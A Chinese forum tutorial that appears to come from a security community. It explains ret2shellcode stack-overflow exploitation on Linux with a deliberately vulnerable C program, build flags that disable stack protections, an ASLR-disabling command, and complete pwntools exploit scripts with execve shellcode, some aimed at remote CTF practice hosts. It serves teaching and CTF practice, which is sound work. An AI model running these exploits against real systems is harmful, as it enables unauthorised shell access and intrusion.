首页
社区
课程
招聘
[原创]ret2shellcode 浅析
发表于: 4天前 152

[原创]ret2shellcode 浅析

4天前
152

0x00 概述

学了Ret2Text之后大家肯定有一个问题,就是如果没有BackDoor的时候怎么办呢,那么Ret2Shellcode了解一下

Ret2Text 是指可以直接调用text里的函数,那么Ret2Shellcode就是指,我们可以直接自己构建一个函数。

程序存在缓冲区溢出漏洞,且栈空间可执行(无 NX 保护) ,我们可以将自定义的 shellcode(机器码指令)写入程序栈中,再通过溢出覆盖函数返回地址,让程序执行流跳转至栈上的 shellcode,最终弹出系统 shell。

操作流程:

  1. 利用缓冲区溢出,填充垃圾数据覆盖栈缓冲区;
  2. 精准覆盖函数返回地址,将其改为栈上 shellcode 的起始地址;
  3. 函数执行结束执行 ret 指令时,跳转至栈上 shellcode;
  4. shellcode 被执行,获取系统 shell。

利用条件:

  1. 存在栈缓冲区溢出漏洞;

  2. 未开启 NX 保护(栈可执行);

  3. 可以泄露/精准计算出栈地址;

0x01 实操

1. 存在漏洞的c代码

#include <stdio.h>
#include <unistd.h>

void vuln()
{
    char buf[64];

    printf("buf = %p\n", buf);

    read(0, buf, 200);
}

int main()
{
    vuln();
    return 0;
}

2.编译一下

gcc -fno-stack-protector -z execstack -no-pie -o pwnme test.c

3.确认漏洞存在

写的比存的多,或者说是比预分配的多,这个时候确认栈溢出漏洞存在,rax 分配了0x40个大小,但是read能读取0xc8肯定存在栈溢出。

image

那实际上只要覆盖满0x40+8就能到达ret的位置。可以看一下模拟图

image

由于这里没有可以直接利用的函数,所以我们需要自己创造一个函数出来。我们需要创造的函数是:

execve("/bin/sh", NULL, NULL)

在amd64的环境下,它对应的机器码是

原始字节串:
b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
16进制字符串:
6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05

这里pwntools提供了一个快速生成shellcode的模块。通过如下的方法就可以直接生成,当然你也可以用上面的进行复制粘贴

shellcraft.sh()

现在我们要根据软件的格式进行转换

from pwn import *
context.arch = 'amd64'
context.os = 'linux'
sc = asm(shellcraft.sh())

4.开始利用

第一步:首先还是先覆盖到0x40+8的位置。

payload = 'A'*(0x40+8)

然后我们知道后面的ret就是跳转地址,在之前的内容,我们这里需要写的是跳转地址,但是在这里我们需要写Shellcode的地址。这里我看在后面多余的跳转位置写。

那么写这个之前就要知道内存地址,在源码里也进行了对应的内存地址打印。如果是本地练习的话,可以关闭地址随机化 ASLR,保证栈地址固定,方便漏洞复现。

# 临时关闭(重启失效)
echo 0 > /proc/sys/kernel/randomize_va_space

# 永久关闭(可选)
sudo vim /proc/sys/kernel/randomize_va_space
# 修改值为 0

第二步:确认栈地址

运行一下就可以拿到地址

 ./pwnme 
buf = 0x7fffffffe300

那么我们就知道初始的buf就是0x7fffffffe300​,那么经过0x40+8​的偏移,并且还要算上ret的8​位便宜,所以最终地址就是0x40+16

buf = 0x7fffffffe300
payload = b'A'*(0x40+8)
ret = 0x7fffffffe300+0x40+8+8
payload += ret 

第三步:写Shellcode

from pwn import *
context.arch = 'amd64'
context.os = 'linux'
sc = asm(shellcraft.sh())

buf = 0x7fffffffe300
payload = b'A'*(0x40+8)
ret = p64(buf+0x40+8+8)
payload += ret 
payload +=sc

第四步:组装最终的poc

from pwn import *
context.binary = elf = ELF('./pwnme')
context.arch = 'amd64'
context.os = 'linux'
p = process('./pwnme')

sc = asm(shellcraft.sh())

buf = 0x7fffffffe300
payload = b'A'*(0x40+8)
ret = p64(buf+0x40+8+8)
payload += ret 
payload +=sc

p.send(payload)
p.interactive()

运行一下最终拿到shell权限

image

ok,以上就是最简单最基础的Ret2Shellcode

0x02 远程利用

远程地址:471K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2T1j5#2)9J5k6h3S2S2L8$3u0S2j5$3S2S2L8X3N6Q4x3X3g2U0L8$3#2Q4x3V1k6K6k6h3g2Q4y4h3k6T1N6h3N6Q4y4h3k6G2L8X3g2Q4x3@1k6A6k6q4)9K6c8o6p5@1x3e0l9`.

之前由于我们关了ASLR,所以每次地址都是固定,所以我们通过硬编码的形式写了exp,但是很多情况在远程主机默认就是开启了ASLR。那么这个时候怎么办。

首先先nc连接一下,多执行几次就知道每次的buf都不一样。

image

image

那么这里我们就需要动态提取一下

recvuntil(delim)

持续接收数据,直到读到指定的分隔字节串 delim,然后停止接收;返回【包含 delim 本身】的所有收到的数据。

recvline

持续接收数据,直到读到换行符 \n​ 就停止,返回包含末尾 \n 的这一行字节数据。

然后写一下py,运行

from pwn import *
context.log_level = 'info'
io = remote('hbc2.haobachang.com', 17159)
io.recvuntil(b'[LEAK] buf = ')
buf_addr = int(io.recvline().strip(), 16)
buf_addr = hex(buf_addr)
log.success(f'{buf_addr}')

这样就能动态的提取buf_addr了

image

ok,现在我们进行分析,看到首先是开辟了一个0x50的空间,然后read可以读取0xc8的内容,那么就可以判断这里是存在栈溢出的。

image

那么我们可以采用之前的方法来写poc,专门增加了注释,大家感兴趣的可以逐行研究。

from pwn import *
# 设置程序架构、系统等上下文信息,方便asm编译shellcode和p64打包地址
context.binary = elf = ELF('./pwnme')
context.arch = 'amd64'    # 64位程序
context.os = 'linux'      # linux系统
context.log_level = 'info' # 日志等级,会打印成功、错误等信息

# 连接远程pwn靶机
io = remote('hbc2.haobachang.com', 10394)

# 接收直到字符串 [LEAK] buf = ,后面就是泄露出来的buf栈地址
io.recvuntil(b'[LEAK] buf = ')
# 读取一行地址,转成16进制整数,用于后续地址计算
buf_addr = int(io.recvline().strip(), 16)
# 打印泄露的buf地址(hex格式化输出,方便查看)
log.success(f'buf_addr = {hex(buf_addr)}')

# 生成linux amd64下的execve("/bin/sh",0,0) shellcode
sc = asm(shellcraft.sh())

# 填充垃圾数据:0x50是缓冲区大小,+8是rbp的8字节,合计覆盖到返回地址
payload = b'A'*(0x50+8)
# 构造跳转地址:覆盖返回地址,让ret执行时跳转到我们shellcode起始位置
# buf基地址 + 0x50+8(垃圾+rbp) +8(返回地址本身8字节) → shellcode起始处
ret_addr = p64(buf_addr + 0x50 + 8 + 8)
payload += ret_addr 
# 在跳转地址后面拼接shellcode
payload += sc

# 发送构造好的溢出payload
io.send(payload)
# 进入交互模式,拿到shell后可以直接输入命令
io.interactive()

执行一下,拿到flag

image

0x03 无法在尾巴写入ShellCode怎么办

如果遇到这样一个场景就是在当后面的缓存区不够用的时候怎么办,举个例子

#include <stdio.h>
#include <unistd.h>

void vuln()
{
    char buf[80];

    printf("buf = %p\n", buf);

    read(0, buf, 96);
}

int main()
{
    vuln();
    return 0;
}

比如这里,我们知道这里肯定是存在溢出的,首先你需要至少16个字节才能改写ret,Shellcode自己也是要占用内存的,64+16=80,再继续往后写空间是不够的。聪明的你肯定想到,那是不是可以在前面写,然后跳转,这样空间就够了。

现在来写poc,这里咱们先从头写Shellcode

from pwn import *
context.binary = elf = ELF('./pwnme')
context.arch = 'amd64'
context.os = 'linux'
p = process('./pwnme')

p.recvuntil(b'buf = ')
buf_addr = int(p.recvline().strip(), 16)

sc = asm(shellcraft.sh())

payload = sc

然后算出偏移

payload = sc
payload += b'A'*(0x50+8-len(sc))
payload += p64(buf)

最终脚本就是:

from pwn import *
context.binary = elf = ELF('./pwnme')
context.arch = 'amd64'
context.os = 'linux'
p = process('./pwnme')

p.recvuntil(b'buf = ')
buf_addr = int(p.recvline().strip(), 16)

sc = asm(shellcraft.sh())

payload = sc
payload += b'A'*(0x50+8-len(sc))
payload += p64(buf_addr) 

# 发送构造好的溢出payload
p.send(payload)
# 进入交互模式,拿到shell后可以直接输入命令
p.interactive()

执行一下

image

有一道远程的题目,大家可以练习一下:

1acK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2T1j5#2)9J5k6h3S2S2L8$3u0S2j5$3S2S2L8X3N6Q4x3X3g2U0L8$3#2Q4x3V1k6K6k6h3g2Q4y4h3k6T1N6h3N6Q4y4h3k6G2L8X3g2Q4x3@1k6A6k6q4)9K6c8o6p5@1x3e0p5`.

0x04 shellcraft.sh() 浅析

那么我们是为了学习的目的,所以我们现在来看一下shellcraft.sh()到底是什么,我们还是用asm为例。

之前我们说了shellcraft.sh()​生成的函数原型是execve("/bin/sh", NULL, NULL),那么为什么不用system呢

1.浅析

来看一下对比:

  • system() ​:会调用 fork()​ 创建一个​子进程​,在子进程中执行 shell,同时​父进程(原程序)会阻塞等待,直到子进程结束。执行完后,控制权会返回给父进程,程序继续往下运行。
  • execve() ​:不创建新进程。它会直接用 /bin/sh​ 的代码和数据覆盖当前进程的映像。一旦调用成功,当前进程的后续代码(包括 main​ 函数的剩余部分)永远不会执行,也就是忽略原本程序,现在你就是/bin/sh。

并且execve() ​的系统调用号是固定的,这样就不需要自己去通过其他方式去找,而system不是,system​需要去找绝对地址。也就是通过execve() ​构建的机器码是可以复用的。所以在pwn里会选择execve()

现在来看一下shellcraft.sh()​对应的汇编,首先打印一下,然后通过ndisasm查看对应的汇编,整个长度为49字节。

echo -ne "\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x05" | ndisasm -b 64 -

0:  6a 68                   push   0x68
2:  48 b8 2f 62 69 6e 2f    mov    rax, 0x732f2f2f6e69622f   ; "/bin///s"
9:  2f 2f 73 
c:  50                      push   rax
d:  48 89 e7                mov    rdi, rsp                ; rdi = 栈上字符串地址
10: 68 72 69 01 01          push   0x01016972              ; 压入 "ri" + 两个 0x01
15: 81 34 24 01 01 01 01    xor    dword [rsp], 0x01010101 ; 将 "ri\x01\x01" 变成 "sh\x00\x00"
1c: 31 f6                   xor    esi, esi                ; argv = NULL
1e: 56                      push   rsi
1f: 6a 08                   push   0x8
21: 5e                      pop    rsi                     ; rsi = 8
22: 48 01 e6                add    rsi, rsp                ; rsi = 栈上 "/bin/sh" 地址 + 8
25: 56                      push   rsi                     ; 压入 argv[0] 指针
26: 48 89 e6                mov    rsi, rsp                ; rsi = &argv[0]
29: 31 d2                   xor    edx, edx                ; envp = NULL
2b: 6a 3b                   push   0x3b
2d: 58                      pop    rax                     ; rax = 59 (execve 系统调用号)
2e: 0f 05                   syscall                         ; 触发系统调用

这里网上还有一些其他长度的shellcode

2. 24字节 shellcode

from pwn import *

context.arch = 'amd64'
context.os = 'linux'

shellcode = asm('''
    push 0x3b
    pop rax
    cdq   
    push rdx 
    mov rbx, 0x68732f6e69622f2f  
    push rbx
    push rsp
    pop rdi     
    push rdx
    push rdi
    push rsp
    pop rsi                 # rsi = argv 数组地址 (指向 [字符串地址, 0])
    syscall
''')

3.22字节 shellcode

sc = asm("""
    mov rbx, 0x68732f6e69622f
    push rbx
    push rsp
    pop rdi
    xor esi,esi
    xor edx,edx
    push 0x3b
    pop rax
    syscall
""")

后面感觉可以专门写一篇深度分析的文章。

0x05 有大小限制的栈溢出

看了上面的字节限制,聪明的你肯定知道,必然会有这样的考题,限制存储大小。所以他来啦。

5ebK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2T1j5#2)9J5k6h3S2S2L8$3u0S2j5$3S2S2L8X3N6Q4x3X3g2U0L8$3#2Q4x3V1k6K6k6h3g2Q4y4h3k6T1N6h3N6Q4y4h3k6G2L8X3g2Q4x3@1k6A6k6q4)9K6c8o6p5@1x3e0t1`.

由于这里的只给分配了0x20大小的空间,没有办法使用shellcraft.sh() 所以使用22字节的Shellcode 即可。大家可以自行分析。

from pwn import *
context.binary = elf = ELF('./pwnme')
context.arch = 'amd64'
context.os = 'linux'
p = remote('hbc2.haobachang.com', 13553)

p.recvuntil(b'[LEAK] buf = ')
buf_addr = int(p.recvline().strip(), 16)
print(buf_addr)
#sc = asm(shellcraft.sh())

sc = asm("""
    mov rbx, 0x68732f6e69622f
    push rbx
    push rsp
    pop rdi
    xor esi,esi
    xor edx,edx
    push 0x3b 
    pop rax
    syscall
""")
payload = sc
payload += b'A'*(0x20+8-len(sc))
payload += p64(buf_addr) 
print(payload)
# 发送构造好的溢出payload
p.send(payload)
# 进入交互模式,拿到shell后可以直接输入命令
p.interactive()

0x06 总结

本节内容主要是带大家了解了一下关于ret2shellcode的利用,以及远程利用方法,Shellcode的不同位置的写法,以及遇到的一些题目,大家下期见


传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!

收藏
免费 0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回